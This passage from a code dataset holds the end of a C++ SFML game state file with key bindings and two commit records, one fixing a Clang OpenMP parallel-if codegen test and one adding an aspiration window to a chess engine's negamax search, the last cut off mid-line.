static_cast<int>(window.getSize().y \/ 2) - 50, 100, 125}, false));\n\t\tpauseColumn.addWidget(new cstr::Button({100, 50}, assets.getTexture(\".\/data\/textures\/button.png\"), [&]()\n\t\t{\n\t\t\tstate = SubState::Play;\n\t\t})).setString(resume, assets.getFont(\".\/data\/fonts\/segoeuisl.ttf\"));\n\t\t\n\t\tpauseColumn.addWidget(new cstr::Spacer({100, 25}));\n\t\t\n\t\tstd::string mainMenu = \"Main Menu\";\n\t\tdictionary.get(\"mainMenuButton\", mainMenu);\n\t\tpauseColumn.addWidget(new cstr::Button({100, 50}, assets.getTexture(\".\/data\/textures\/button.png\"), [&]()\n\t\t{\n\t\t\treturnType = State::Type::MainMenu;\n\t\t})).setString(mainMenu, assets.getFont(\".\/data\/fonts\/segoeuisl.ttf\"));\n\t\t\n\t\t\/\/ setup world\n\t\tactiveWorld->tilemap.loadFile(\".\/data\/maps\/maze.map\");\n\t\tactiveWorld->tilemap.loadTexture(assets.getTexture(activeWorld->tilemap.getTextureFile()));\n\t\tactiveWorld->load(\".\/data\/saves\/maze.world\");\n\t\tplayer = activeWorld->getEntities()[0];\n\t\tactiveWorld->addScript(\".\/data\/scripts\/quest.lua\");\n\t\tassets.getScript(\".\/data\/scripts\/quest.lua\").start();\n\t}\n\n\tvoid Play::handleEvent(sf::Event& event)\n\t{\n\t\tswitch(state)\n\t\t{\n\t\t\tcase SubState::Play:\n\t\t\t\thud.update(event);\n\t\t\t\tbreak;\n\t\t\tcase SubState::Pause:\n\t\t\t\tpauseMenu.update(event);\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tbreak;\n\t\t}\n\n\t\tkeyboard(event);\n\t\tmouse(event);\n\t}\n\n\tvoid Play::update(sf::Time dt)\n\t{\n\t\tswitch(state)\n\t\t{\n\t\t\tcase SubState::Play:\n\t\t\t\tactiveWorld->update(dt.asSeconds());\n\t\t\t\tbreak;\n\t\t\tcase SubState::Pause:\n\t\t\t\tbreak;\n\t\t}\n\t}\n\n\tvoid Play::draw(float \/*e*\/)\n\t{\n\t\tswitch(state)\n\t\t{\n\t\t\tcase SubState::Play:\n\t\t\t\tactiveWorld->drawWorld(window);\n\t\t\t\t\n\t\t\t\tactiveWorld->drawEntities(window);\n\t\t\t\t\n\t\t\t\twindow.draw(hud);\n\t\t\t\tbreak;\n\t\t\tcase SubState::Pause:\n\t\t\t\twindow.draw(pauseMenu);\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tbreak;\n\t\t}\n\t}\n\n\tbool Play::switchFrom()\n\t{\n\t\treturn returnType != State::Type::Play;\n\t}\n\n\tState::Type Play::finish()\n\t{\n\t\treturn returnType;\n\t}\n\n\tvoid Play::setupKeyBindings()\n\t{\n\t\tkeyboard.newBinding(\"PauseMenu\", sf::Keyboard::Escape, [&]()\n\t\t{\n\t\t\tstate = (state == SubState::Pause) ? SubState::Play : SubState::Pause;\n\t\t}, false);\n\t\t\n\t\t\/\/ move up press and release\n\t\tkeyboard.newBinding(\"moveUpStart\", sf::Keyboard::Up, [&]()\n\t\t{\n\t\t\tif(player)\n\t\t\t\tif(player->has<Movable>())\n\t\t\t\t\tplayer->get<Movable>()->velocity += {0, -player->get<Movable>()->moveVelocity};\n\t\t}, true);\n\t\t\n\t\tkeyboard.newBinding(\"moveUpStop\", sf::Keyboard::Up, [&]()\n\t\t{\n\t\t\tif(player)\n\t\t\t\tif(player->has<Movable>())\n\t\t\t\t\tplayer->get<Movable>()->velocity += {0, player->get<Movable>()->moveVelocity};\n\t\t}, false);\n\t\t\n\t\t\/\/ move down press and release\n\t\tkeyboard.newBinding(\"moveDownStart\", sf::Keyboard::Down, [&]()\n\t\t{\n\t\t\tif(player)\n\t\t\t\tif(player->has<Movable>())\n\t\t\t\t\tplayer->get<Movable>()->velocity += {0, player->get<Movable>()->moveVelocity};\n\t\t}, true);\n\t\t\n\t\tkeyboard.newBinding(\"moveDownStop\", sf::Keyboard::Down, [&]()\n\t\t{\n\t\t\tif(player)\n\t\t\t\tif(player->has<Movable>())\n\t\t\t\t\tplayer->get<Movable>()->velocity += {0, -player->get<Movable>()->moveVelocity};\n\t\t}, false);\n\t\t\n\t\t\/\/ move left press and release\n\t\tkeyboard.newBinding(\"moveLeftStart\", sf::Keyboard::Left, [&]()\n\t\t{\n\t\t\tif(player)\n\t\t\t\tif(player->has<Movable>())\n\t\t\t\t\tplayer->get<Movable>()->velocity += {-player->get<Movable>()->moveVelocity, 0};\n\t\t}, true);\n\t\t\n\t\tkeyboard.newBinding(\"moveLeftStop\", sf::Keyboard::Left, [&]()\n\t\t{\n\t\t\tif(player)\n\t\t\t\tif(player->has<Movable>())\n\t\t\t\t\tplayer->get<Movable>()->velocity += {player->get<Movable>()->moveVelocity, 0};\n\t\t}, false);\n\t\t\n\t\t\/\/ move right press and release\n\t\tkeyboard.newBinding(\"moveRightStart\", sf::Keyboard::Right, [&]()\n\t\t{\n\t\t\tif(player)\n\t\t\t\tif(player->has<Movable>())\n\t\t\t\t\tplayer->get<Movable>()->velocity += {player->get<Movable>()->moveVelocity, 0};\n\t\t}, true);\n\t\t\n\t\tkeyboard.newBinding(\"moveRightStop\", sf::Keyboard::Right, [&]()\n\t\t{\n\t\t\tif(player)\n\t\t\t\tif(player->has<Movable>())\n\t\t\t\t\tplayer->get<Movable>()->velocity += {-player->get<Movable>()->moveVelocity, 0};\n\t\t}, false);\n\t}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ RUN: %clang_cc1 -verify -fopenmp=libiomp5 -x c++ -triple %itanium_abi_triple -emit-llvm %s -o - | FileCheck %s\n\/\/ RUN: %clang_cc1 -fopenmp=libiomp5 -x c++ -std=c++11 -triple %itanium_abi_triple -emit-pch -o %t %s\n\/\/ RUN: %clang_cc1 -fopenmp=libiomp5 -x c++ -triple %itanium_abi_triple -std=c++11 -include-pch %t -verify %s -emit-llvm -o - | FileCheck --check-prefix=CHECK %s\n\/\/ expected-no-diagnostics\n#ifndef HEADER\n#define HEADER\n\nvoid fn1();\nvoid fn2();\nvoid fn3();\nvoid fn4();\nvoid fn5();\nvoid fn6();\n\nint Arg;\n\n\/\/ CHECK-LABEL: define void @{{.+}}gtid_test\nvoid gtid_test() {\n\/\/ CHECK:  call void {{.+}}* @__kmpc_fork_call(%{{.+}}* @{{.+}}, i{{.+}} 1, {{.+}}* [[GTID_TEST_REGION1:@.+]] to void\n#pragma omp parallel\n#pragma omp parallel if (false)\n  gtid_test();\n\/\/ CHECK: ret void\n}\n\n\/\/ CHECK: define internal void [[GTID_TEST_REGION1]](i{{.+}}* [[GTID_PARAM:%.+]], i\n\/\/ CHECK: store i{{[0-9]+}}* [[GTID_PARAM]], i{{[0-9]+}}** [[GTID_ADDR_REF:%.+]],\n\/\/ CHECK: [[GTID_ADDR:%.+]] = load i{{[0-9]+}}** [[GTID_ADDR_REF]]\n\/\/ CHECK: [[GTID:%.+]] = load i{{[0-9]+}}* [[GTID_ADDR]]\n\/\/ CHECK: call void @__kmpc_serialized_parallel(%{{.+}}* @{{.+}}, i{{.+}} [[GTID]])\n\/\/ CHECK: [[GTID_ADDR:%.+]] = load i{{[0-9]+}}** [[GTID_ADDR_REF]]\n\/\/ CHECK: call void [[GTID_TEST_REGION2:@.+]](i{{[0-9]+}}* [[GTID_ADDR]]\n\/\/ CHECK: call void @__kmpc_end_serialized_parallel(%{{.+}}* @{{.+}}, i{{.+}} [[GTID]])\n\/\/ CHECK: ret void\n\n\/\/ CHECK: define internal void [[GTID_TEST_REGION2]](\n\/\/ CHECK: call void @{{.+}}gtid_test\n\/\/ CHECK: ret void\n\ntemplate <typename T>\nint tmain(T Arg) {\n#pragma omp parallel if (true)\n  fn1();\n#pragma omp parallel if (false)\n  fn2();\n#pragma omp parallel if (Arg)\n  fn3();\n  return 0;\n}\n\n\/\/ CHECK-LABEL: define {{.*}}i{{[0-9]+}} @main()\nint main() {\n\/\/ CHECK: [[GTID:%.+]] = call i32 @__kmpc_global_thread_num(\n\/\/ CHECK: call void {{.+}} @__kmpc_fork_call(%{{.+}}* @{{.+}}, i{{.+}} 1, void {{.+}}* [[CAP_FN4:@.+]] to void\n#pragma omp parallel if (true)\n  fn4();\n\/\/ CHECK: call void @__kmpc_serialized_parallel(%{{.+}}* @{{.+}}, i32 [[GTID]])\n\/\/ CHECK: store i32 [[GTID]], i32* [[GTID_ADDR:%.+]],\n\/\/ CHECK: call void [[CAP_FN5:@.+]](i32* [[GTID_ADDR]],\n\/\/ CHECK: call void @__kmpc_end_serialized_parallel(%{{.+}}* @{{.+}}, i32 [[GTID]])\n#pragma omp parallel if (false)\n  fn5();\n\n\/\/ CHECK: br i1 %{{.+}}, label %[[OMP_THEN:.+]], label %[[OMP_ELSE:.+]]\n\/\/ CHECK: [[OMP_THEN]]\n\/\/ CHECK: call void {{.+}} @__kmpc_fork_call(%{{.+}}* @{{.+}}, i{{.+}} 1, void {{.+}}* [[CAP_FN6:@.+]] to void\n\/\/ CHECK: br label %[[OMP_END:.+]]\n\/\/ CHECK: [[OMP_ELSE]]\n\/\/ CHECK: call void @__kmpc_serialized_parallel(%{{.+}}* @{{.+}}, i32 %0)\n\/\/ CHECK: store i32 [[GTID]], i32* [[GTID_ADDR:%.+]],\n\/\/ CHECK: call void [[CAP_FN6]](i32* [[GTID_ADDR]],\n\/\/ CHECK: call void @__kmpc_end_serialized_parallel(%{{.+}}* @{{.+}}, i32 [[GTID]])\n\/\/ CHECK: br label %[[OMP_END]]\n\/\/ CHECK: [[OMP_END]]\n#pragma omp parallel if (Arg)\n  fn6();\n  \/\/ CHECK: = call i{{.+}} @{{.+}}tmain\n  return tmain(Arg);\n}\n\n\/\/ CHECK: define internal void [[CAP_FN4]]\n\/\/ CHECK: call void @{{.+}}fn4\n\/\/ CHECK: ret void\n\n\/\/ CHECK: define internal void [[CAP_FN5]]\n\/\/ CHECK: call void @{{.+}}fn5\n\/\/ CHECK: ret void\n\n\/\/ CHECK: define internal void [[CAP_FN6]]\n\/\/ CHECK: call void @{{.+}}fn6\n\/\/ CHECK: ret void\n\n\/\/ CHECK-LABEL: define {{.+}} @{{.+}}tmain\n\/\/ CHECK: [[GTID:%.+]] = call i32 @__kmpc_global_thread_num(\n\/\/ CHECK: call void {{.+}} @__kmpc_fork_call(%{{.+}}* @{{.+}}, i{{.+}} 1, void {{.+}}* [[CAP_FN1:@.+]] to void\n\/\/ CHECK: call void @__kmpc_serialized_parallel(%{{.+}}* @{{.+}}, i32 [[GTID]])\n\/\/ CHECK: store i32 [[GTID]], i32* [[GTID_ADDR:%.+]],\n\/\/ CHECK: call void [[CAP_FN2:@.+]](i32* [[GTID_ADDR]],\n\/\/ CHECK: call void @__kmpc_end_serialized_parallel(%{{.+}}* @{{.+}}, i32 [[GTID]])\n\/\/ CHECK: br i1 %{{.+}}, label %[[OMP_THEN:.+]], label %[[OMP_ELSE:.+]]\n\/\/ CHECK: [[OMP_THEN]]\n\/\/ CHECK: call void {{.+}} @__kmpc_fork_call(%{{.+}}* @{{.+}}, i{{.+}} 1, void {{.+}}* [[CAP_FN3:@.+]] to void\n\/\/ CHECK: br label %[[OMP_END:.+]]\n\/\/ CHECK: [[OMP_ELSE]]\n\/\/ CHECK: call void @__kmpc_serialized_parallel(%{{.+}}* @{{.+}}, i32 %0)\n\/\/ CHECK: store i32 [[GTID]], i32* [[GTID_ADDR:%.+]],\n\/\/ CHECK: call void [[CAP_FN3]](i32* [[GTID_ADDR]],\n\/\/ CHECK: call void @__kmpc_end_serialized_parallel(%{{.+}}* @{{.+}}, i32 [[GTID]])\n\/\/ CHECK: br label %[[OMP_END]]\n\/\/ CHECK: [[OMP_END]]\n\n\/\/ CHECK: define internal void [[CAP_FN1]]\n\/\/ CHECK: call void @{{.+}}fn1\n\/\/ CHECK: ret void\n\n\/\/ CHECK: define internal void [[CAP_FN2]]\n\/\/ CHECK: call void @{{.+}}fn2\n\/\/ CHECK: ret void\n\n\/\/ CHECK: define internal void [[CAP_FN3]]\n\/\/ CHECK: call void @{{.+}}fn3\n\/\/ CHECK: ret void\n\n#endif\n<commit_msg>Fix test OpenMP\/parallel_if_codegen.cpp.<commit_after>\/\/ RUN: %clang_cc1 -verify -fopenmp=libiomp5 -x c++ -triple %itanium_abi_triple -emit-llvm %s -o - | FileCheck %s\n\/\/ RUN: %clang_cc1 -fopenmp=libiomp5 -x c++ -std=c++11 -triple %itanium_abi_triple -emit-pch -o %t %s\n\/\/ RUN: %clang_cc1 -fopenmp=libiomp5 -x c++ -triple %itanium_abi_triple -std=c++11 -include-pch %t -verify %s -emit-llvm -o - | FileCheck --check-prefix=CHECK %s\n\/\/ expected-no-diagnostics\n#ifndef HEADER\n#define HEADER\n\nvoid fn1();\nvoid fn2();\nvoid fn3();\nvoid fn4();\nvoid fn5();\nvoid fn6();\n\nint Arg;\n\n\/\/ CHECK-LABEL: define void @{{.+}}gtid_test\nvoid gtid_test() {\n\/\/ CHECK:  call void {{.+}}* @__kmpc_fork_call(%{{.+}}* @{{.+}}, i{{.+}} 1, {{.+}}* [[GTID_TEST_REGION1:@.+]] to void\n#pragma omp parallel\n#pragma omp parallel if (false)\n  gtid_test();\n\/\/ CHECK: ret void\n}\n\n\/\/ CHECK: define internal void [[GTID_TEST_REGION1]](i{{.+}}* [[GTID_PARAM:%.+]], i\n\/\/ CHECK: store i{{[0-9]+}}* [[GTID_PARAM]], i{{[0-9]+}}** [[GTID_ADDR_REF:%.+]],\n\/\/ CHECK: [[GTID_ADDR:%.+]] = load i{{[0-9]+}}** [[GTID_ADDR_REF]]\n\/\/ CHECK: [[GTID:%.+]] = load i{{[0-9]+}}* [[GTID_ADDR]]\n\/\/ CHECK: call void @__kmpc_serialized_parallel(%{{.+}}* @{{.+}}, i{{.+}} [[GTID]])\n\/\/ CHECK: [[GTID_ADDR:%.+]] = load i{{[0-9]+}}** [[GTID_ADDR_REF]]\n\/\/ CHECK: call void [[GTID_TEST_REGION2:@.+]](i{{[0-9]+}}* [[GTID_ADDR]]\n\/\/ CHECK: call void @__kmpc_end_serialized_parallel(%{{.+}}* @{{.+}}, i{{.+}} [[GTID]])\n\/\/ CHECK: ret void\n\n\/\/ CHECK: define internal void [[GTID_TEST_REGION2]](\n\/\/ CHECK: call void @{{.+}}gtid_test\n\/\/ CHECK: ret void\n\ntemplate <typename T>\nint tmain(T Arg) {\n#pragma omp parallel if (true)\n  fn1();\n#pragma omp parallel if (false)\n  fn2();\n#pragma omp parallel if (Arg)\n  fn3();\n  return 0;\n}\n\n\/\/ CHECK-LABEL: define {{.*}}i{{[0-9]+}} @main()\nint main() {\n\/\/ CHECK: [[GTID:%.+]] = call i32 @__kmpc_global_thread_num(\n\/\/ CHECK: call void {{.+}} @__kmpc_fork_call(%{{.+}}* @{{.+}}, i{{.+}} 1, void {{.+}}* [[CAP_FN4:@.+]] to void\n#pragma omp parallel if (true)\n  fn4();\n\/\/ CHECK: call void @__kmpc_serialized_parallel(%{{.+}}* @{{.+}}, i32 [[GTID]])\n\/\/ CHECK: store i32 [[GTID]], i32* [[GTID_ADDR:%.+]],\n\/\/ CHECK: call void [[CAP_FN5:@.+]](i32* [[GTID_ADDR]],\n\/\/ CHECK: call void @__kmpc_end_serialized_parallel(%{{.+}}* @{{.+}}, i32 [[GTID]])\n#pragma omp parallel if (false)\n  fn5();\n\n\/\/ CHECK: br i1 %{{.+}}, label %[[OMP_THEN:.+]], label %[[OMP_ELSE:.+]]\n\/\/ CHECK: [[OMP_THEN]]\n\/\/ CHECK: call void {{.+}} @__kmpc_fork_call(%{{.+}}* @{{.+}}, i{{.+}} 1, void {{.+}}* [[CAP_FN6:@.+]] to void\n\/\/ CHECK: br label %[[OMP_END:.+]]\n\/\/ CHECK: [[OMP_ELSE]]\n\/\/ CHECK: call void @__kmpc_serialized_parallel(%{{.+}}* @{{.+}}, i32 [[GTID]])\n\/\/ CHECK: store i32 [[GTID]], i32* [[GTID_ADDR:%.+]],\n\/\/ CHECK: call void [[CAP_FN6]](i32* [[GTID_ADDR]],\n\/\/ CHECK: call void @__kmpc_end_serialized_parallel(%{{.+}}* @{{.+}}, i32 [[GTID]])\n\/\/ CHECK: br label %[[OMP_END]]\n\/\/ CHECK: [[OMP_END]]\n#pragma omp parallel if (Arg)\n  fn6();\n  \/\/ CHECK: = call i{{.+}} @{{.+}}tmain\n  return tmain(Arg);\n}\n\n\/\/ CHECK: define internal void [[CAP_FN4]]\n\/\/ CHECK: call void @{{.+}}fn4\n\/\/ CHECK: ret void\n\n\/\/ CHECK: define internal void [[CAP_FN5]]\n\/\/ CHECK: call void @{{.+}}fn5\n\/\/ CHECK: ret void\n\n\/\/ CHECK: define internal void [[CAP_FN6]]\n\/\/ CHECK: call void @{{.+}}fn6\n\/\/ CHECK: ret void\n\n\/\/ CHECK-LABEL: define {{.+}} @{{.+}}tmain\n\/\/ CHECK: [[GTID:%.+]] = call i32 @__kmpc_global_thread_num(\n\/\/ CHECK: call void {{.+}} @__kmpc_fork_call(%{{.+}}* @{{.+}}, i{{.+}} 1, void {{.+}}* [[CAP_FN1:@.+]] to void\n\/\/ CHECK: call void @__kmpc_serialized_parallel(%{{.+}}* @{{.+}}, i32 [[GTID]])\n\/\/ CHECK: store i32 [[GTID]], i32* [[GTID_ADDR:%.+]],\n\/\/ CHECK: call void [[CAP_FN2:@.+]](i32* [[GTID_ADDR]],\n\/\/ CHECK: call void @__kmpc_end_serialized_parallel(%{{.+}}* @{{.+}}, i32 [[GTID]])\n\/\/ CHECK: br i1 %{{.+}}, label %[[OMP_THEN:.+]], label %[[OMP_ELSE:.+]]\n\/\/ CHECK: [[OMP_THEN]]\n\/\/ CHECK: call void {{.+}} @__kmpc_fork_call(%{{.+}}* @{{.+}}, i{{.+}} 1, void {{.+}}* [[CAP_FN3:@.+]] to void\n\/\/ CHECK: br label %[[OMP_END:.+]]\n\/\/ CHECK: [[OMP_ELSE]]\n\/\/ CHECK: call void @__kmpc_serialized_parallel(%{{.+}}* @{{.+}}, i32 [[GTID]])\n\/\/ CHECK: store i32 [[GTID]], i32* [[GTID_ADDR:%.+]],\n\/\/ CHECK: call void [[CAP_FN3]](i32* [[GTID_ADDR]],\n\/\/ CHECK: call void @__kmpc_end_serialized_parallel(%{{.+}}* @{{.+}}, i32 [[GTID]])\n\/\/ CHECK: br label %[[OMP_END]]\n\/\/ CHECK: [[OMP_END]]\n\n\/\/ CHECK: define internal void [[CAP_FN1]]\n\/\/ CHECK: call void @{{.+}}fn1\n\/\/ CHECK: ret void\n\n\/\/ CHECK: define internal void [[CAP_FN2]]\n\/\/ CHECK: call void @{{.+}}fn2\n\/\/ CHECK: ret void\n\n\/\/ CHECK: define internal void [[CAP_FN3]]\n\/\/ CHECK: call void @{{.+}}fn3\n\/\/ CHECK: ret void\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#include \"game.hpp\"\r\n\r\nint Game::startGame() {\r\n\tstd::string str;\r\n\tuciHandler(\"position startpos\");\t\r\n\r\n\twhile(true) {\r\n\t\tstd::getline(std::cin, str);\r\n\r\n\t\tif(!uciHandler(str)) {\r\n\t\t\treturn 0;\r\n\t\t};\r\n\t}\r\n}\r\n\r\nvoid Game::goFixedDepth() {\r\n\t++hashAge;\r\n\t\r\n\tif(option.UCI_AnalyseMode || abs(bestScore) >= (WHITE_WIN - 100)) {\r\n\t\tclearCash();\r\n\t}\r\n\t\r\n\tstopped = false;\r\n\tstd::vector<uint64_t>hash;\r\n\r\n\tnodesCounter = 0;\r\n\tint max_depth_global = max_depth;\r\n\tmax_depth = 1;\r\n\r\n\tstart_timer = clock();\r\n\thasBestMove = false;\r\n\r\n\tBitMove moveCritical = game_board.getRandomMove();\r\n\tbestMove = moveCritical;\r\n\thasBestMove = true;\r\n\tbestScore = 0;\r\n\r\n\tfor(; max_depth <= max_depth_global; ++max_depth) {\r\n\t\tflattenHistory();\r\n\r\n\t\tnegamax(game_board, -WHITE_WIN, WHITE_WIN, max_depth, 0, FIXED_DEPTH, false, true);\r\n\r\n\t\thasBestMove = true;\r\n\r\n\t\tif((abs(bestScore) >= (WHITE_WIN - 100) && max_depth_global < 99) || stopped) {\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\r\n\tend_timer = clock();\r\n\r\n\tif(hasBestMove) {\r\n\t\tstd::cout << \"bestmove \" << bestMove.getMoveString() << std::endl;\r\n\t}\r\n}\r\n\r\nvoid Game::goFixedTime(int64_t tm, bool tournamentTimeControll) {\r\n\ttm -= option.moveOverhead;\r\n\ttm = std::max(tm, (int64_t)10);\r\n\r\n\t++hashAge;\r\n\tstopped = false;\r\n\r\n\ttime = tm;\r\n\ttimer.start();\r\n\r\n\tif(option.UCI_AnalyseMode || abs(bestScore) >= (WHITE_WIN - 100)) {\r\n\t\tclearCash();\r\n\t}\r\n\r\n\tstd::vector<uint64_t>hash;\r\n\r\n\tnodesCounter = 0;\r\n\r\n\tstart_timer = clock();\r\n\thasBestMove = false;\r\n\r\n\tBitMove moveCritical = game_board.getRandomMove();\r\n\tbestMove = moveCritical;\r\n\tbestScore = 0;\r\n\thasBestMove = true;\r\n\tmax_depth = 1;\r\n\r\n\tstd::vector<BitMove> bestPV;\r\n\tint window = 30;\r\n\tint a = -window, b = window;\r\n\r\n\tfor(; timer.getTime() < time; ) {\r\n\t\tflattenHistory();\r\n\r\n\t\tif(tournamentTimeControll) {\r\n\t\t\tif(timer.getTime() * 2 >= time) {\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\r\n\t\t\tif(max_depth == 1) {\r\n\t\t\t\tgame_board.bitBoardMoveGenerator(moveArray[0], stress);\r\n\t\t\t\tBitMove mv;\r\n\t\t\t\tuint8_t color;\r\n\t\t\t\tif(game_board.currentState.whiteMove) {\r\n\t\t\t\t\tcolor = WHITE;\r\n\t\t\t\t} else {\r\n\t\t\t\t\tcolor = BLACK;\r\n\t\t\t\t}\r\n\t\t\t\tint count = 0;\r\n\t\t\t\tfor(unsigned int i = 0; i < moveArray[0].moveArray.size(); ++i) {\r\n\t\t\t\t\tgame_board.move(moveArray[0].moveArray[i]);\r\n\t\t\t\t\tif(!game_board.inCheck(color)) {\r\n\t\t\t\t\t\t++count;\r\n\t\t\t\t\t\tmv = moveArray[0].moveArray[i];\r\n\t\t\t\t\t}\r\n\t\t\t\t\t\r\n\t\t\t\t\tgame_board.goBack();\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\tif(count == 1) {\r\n\t\t\t\t\tbestMove = mv;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t\/\/negamax(game_board, -WHITE_WIN, WHITE_WIN, max_depth, 0, FIXED_TIME, false, true);\r\n\r\n\t\tint f = negamax(game_board, a, b, max_depth, 0, FIXED_TIME, false, true);\r\n\r\n\t\tif(f <= a) {\r\n\t\t\tf = negamax(game_board, -WHITE_WIN, a, max_depth, 0, FIXED_TIME, false, true);\r\n\t\t} else if(f >= b) {\r\n\t\t\tf = negamax(game_board, b, WHITE_WIN, max_depth, 0, FIXED_TIME, false, true);\r\n\t\t}\r\n\r\n\t\ta = f - window;\r\n\t\tb = f + window;\r\n\t\t\r\n\t\tif(stopped) {\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\thasBestMove = true;\r\n\t\t++max_depth;\r\n\t}\r\n\r\n\tend_timer = clock();\r\n\r\n\tif(hasBestMove) {\r\n\t\tstd::cout << \"bestmove \" << bestMove.getMoveString() << std::endl;\r\n\t}\r\n}\r\n\r\nvoid Game::goTournament() {\r\n\tdouble tm, inc;\r\n\tif(game_board.currentState.whiteMove) {\r\n\t\ttm = wtime;\r\n\t\tinc = winc;\r\n\t} else {\r\n\t\ttm = btime;\r\n\t\tinc = binc;\r\n\t}\r\n\r\n\tdouble k;\r\n\r\n\tint figuresNumber = game_board.popcount64(game_board.currentState.white_bit_mask | game_board.currentState.black_bit_mask);\r\n\r\n\tif(movestogoEnable) {\r\n\t\tk = movestogo;\r\n\t\tgoFixedTime(tm \/ (k + 1) + inc \/ 2, true);\r\n\t} else {\r\n\t\tk = 40 - (32 - figuresNumber);\r\n\t\tgoFixedTime(tm \/ k + inc \/ 2 - 100, true);\r\n\t}\r\n}\r\n\r\nbool Game::move(std::string mv) {\r\n\tMoveArray moves;\r\n\tgame_board.bitBoardMoveGenerator(moves, stress);\r\n\tfor(unsigned int i = 0; i < moves.count; ++i) {\r\n\t\tif(moves.moveArray[i].getMoveString() == mv) {\r\n\t\t\tgame_board.move(moves.moveArray[i]);\r\n\t\t\tuint8_t color;\r\n\r\n\t\t\tif(game_board.currentState.whiteMove) {\r\n\t\t\t\tcolor = BLACK;\r\n\t\t\t} else {\r\n\t\t\t\tcolor = WHITE;\r\n\t\t\t}\r\n\r\n\t\t\tif(game_board.inCheck(color)) {\r\n\t\t\t\tgame_board.goBack();\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\r\n\t\t\t++hash_decrement;\r\n\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}\r\n\r\n\treturn false;\r\n}\r\n<commit_msg>Реализовано aspiration window<commit_after>#include \"game.hpp\"\r\n\r\nint Game::startGame() {\r\n\tstd::string str;\r\n\tuciHandler(\"position startpos\");\t\r\n\r\n\twhile(true) {\r\n\t\tstd::getline(std::cin, str);\r\n\r\n\t\tif(!uciHandler(str)) {\r\n\t\t\treturn 0;\r\n\t\t};\r\n\t}\r\n}\r\n\r\nvoid Game::goFixedDepth() {\r\n\t++hashAge;\r\n\t\r\n\tif(option.UCI_AnalyseMode || abs(bestScore) >= (WHITE_WIN - 100)) {\r\n\t\tclearCash();\r\n\t}\r\n\t\r\n\tstopped = false;\r\n\tstd::vector<uint64_t>hash;\r\n\r\n\tnodesCounter = 0;\r\n\tint max_depth_global = max_depth;\r\n\tmax_depth = 1;\r\n\r\n\tstart_timer = clock();\r\n\thasBestMove = false;\r\n\r\n\tBitMove moveCritical = game_board.getRandomMove();\r\n\tbestMove = moveCritical;\r\n\thasBestMove = true;\r\n\tbestScore = 0;\r\n\r\n\tint window = 30;\r\n\tint a = -window, b = window;\r\n\r\n\tfor(; max_depth <= max_depth_global; ++max_depth) {\r\n\t\tflattenHistory();\r\n\r\n\t\tint f = negamax(game_board, a, b, max_depth, 0, FIXED_DEPTH, false, true);\r\n\r\n\t\tif(f <= a) {\r\n\t\t\tf = negamax(game_board, -WHITE_WIN, a, max_depth, 0, FIXED_DEPTH, false, true);\r\n\t\t} else if(f >= b) {\r\n\t\t\tf = negamax(game_board, b, WHITE_WIN, max_depth, 0, FIXED_DEPTH, false, true);\r\n\t\t}\r\n\r\n\t\ta = f - window;\r\n\t\tb = f + window;\r\n\r\n\t\thasBestMove = true;\r\n\r\n\t\tif((abs(bestScore) >= (WHITE_WIN - 100) && max_depth_global < 99) || stopped) {\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\r\n\tend_timer = clock();\r\n\r\n\tif(hasBestMove) {\r\n\t\tstd::cout << \"bestmove \" << bestMove.getMoveString() << std::endl;\r\n\t}\r\n}\r\n\r\nvoid Game::goFixedTime(int64_t tm, bool tournamentTimeControll) {\r\n\ttm -= option.moveOverhead;\r\n\ttm = std::max(tm, (int64_t)10);\r\n\r\n\t++hashAge;\r\n\tstopped = false;\r\n\r\n\ttime = tm;\r\n\ttimer.start();\r\n\r\n\tif(option.UCI_AnalyseMode || abs(bestScore) >= (WHITE_WIN - 100)) {\r\n\t\tclearCash();\r\n\t}\r\n\r\n\tstd::vector<uint64_t>hash;\r\n\r\n\tnodesCounter = 0;\r\n\r\n\tstart_timer = clock();\r\n\thasBestMove = false;\r\n\r\n\tBitMove moveCritical = game_board.getRandomMove();\r\n\tbestMove = moveCritical;\r\n\tbestScore = 0;\r\n\thasBestMove = true;\r\n\tmax_depth = 1;\r\n\r\n\tstd::vector<BitMove> bestPV;\r\n\tint window = 30;\r\n\tint a = -window, b = window;\r\n\r\n\tfor(; timer.getTime() < time; ) {\r\n\t\tflattenHistory();\r\n\r\n\t\tif(tournamentTimeControll) {\r\n\t\t\tif(timer.getTime() * 2 >= time) {\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\r\n\t\t\tif(max_depth == 1) {\r\n\t\t\t\tgame_board.bitBoardMoveGenerator(moveArray[0], stress);\r\n\t\t\t\tBitMove mv;\r\n\t\t\t\tuint8_t color;\r\n\t\t\t\tif(game_board.currentState.whiteMove) {\r\n\t\t\t\t\tcolor = WHITE;\r\n\t\t\t\t} else {\r\n\t\t\t\t\tcolor = BLACK;\r\n\t\t\t\t}\r\n\t\t\t\tint count = 0;\r\n\t\t\t\tfor(unsigned int i = 0; i < moveArray[0].moveArray.size(); ++i) {\r\n\t\t\t\t\tgame_board.move(moveArray[0].moveArray[i]);\r\n\t\t\t\t\tif(!game_board.inCheck(color)) {\r\n\t\t\t\t\t\t++count;\r\n\t\t\t\t\t\tmv = moveArray[0].moveArray[i];\r\n\t\t\t\t\t}\r\n\t\t\t\t\t\r\n\t\t\t\t\tgame_board.goBack();\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\tif(count == 1) {\r\n\t\t\t\t\tbestMove = mv;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tint f = negamax(game_board, a, b, max_depth, 0, FIXED_TIME, false, true);\r\n\r\n\t\tif(f <= a) {\r\n\t\t\tf = negamax(game_board, -WHITE_WIN, a, max_depth, 0, FIXED_TIME, false, true);\r\n\t\t} else if(f >= b) {\r\n\t\t\tf = negamax(game_board, b, WHITE_WIN, max_depth, 0, FIXED_TIME, false, 